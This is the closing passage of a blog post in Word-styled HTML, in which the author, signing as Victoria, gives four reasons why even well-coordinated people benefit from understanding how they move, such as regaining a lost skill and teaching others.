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<span style="font-size: 14.0pt; line-height: 115%; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">Even <span style="color: #c00000;">if
you rank among the naturally well-coordinated, it’s not a bad idea to know how you’re
doing it</span>, for the following 4 reasons:<o:p></o:p></span></div>
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<span style="color: #c00000; font-size: 14.0pt; line-height: 115%; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">a)</span><span style="font-size: 14.0pt; line-height: 115%; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"> In case you lose
it and want to get it back.<o:p></o:p></span></div>
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<span style="color: #c00000; font-size: 14.0pt; line-height: 115%; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">b)</span><span style="font-size: 14.0pt; line-height: 115%; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"> In case you get
stuck in your progress in any physical discipline you practice.<o:p></o:p></span></div>
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<span style="color: #c00000; font-size: 14.0pt; line-height: 115%; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">c)</span><span style="font-size: 14.0pt; line-height: 115%; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"> In case you want
to explain or teach someone else how you do what you do.<o:p></o:p></span></div>
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<span style="color: #c00000; font-size: 14.0pt; line-height: 115%; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">d)</span><span style="font-size: 14.0pt; line-height: 115%; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"> To open yourself
up to other possibilities and choices you may not imagine you have.<o:p></o:p></span></div>
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<span style="font-size: 14.0pt; line-height: 115%; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"><br /></span></div>
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<span style="color: #c00000; font-size: 14.0pt; line-height: 115%; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">Our bodies are
fascinating universes waiting to be explored.<o:p></o:p></span></div>
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<span style="color: #c00000; font-size: 14.0pt; line-height: 115%; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"><br /></span></div>
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<span style="font-size: 14.0pt; line-height: 115%; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">This is all for now.<o:p></o:p></span></div>
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<span style="font-size: 14.0pt; line-height: 115%; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"><br /></span></div>
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<span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">See you next time.<o:p></o:p></span></div>
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<span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"><br /></span></div>
<br />
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<span lang="ES-UY" style="color: #c00000; font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">Victoria<o:p></o:p></span></div>
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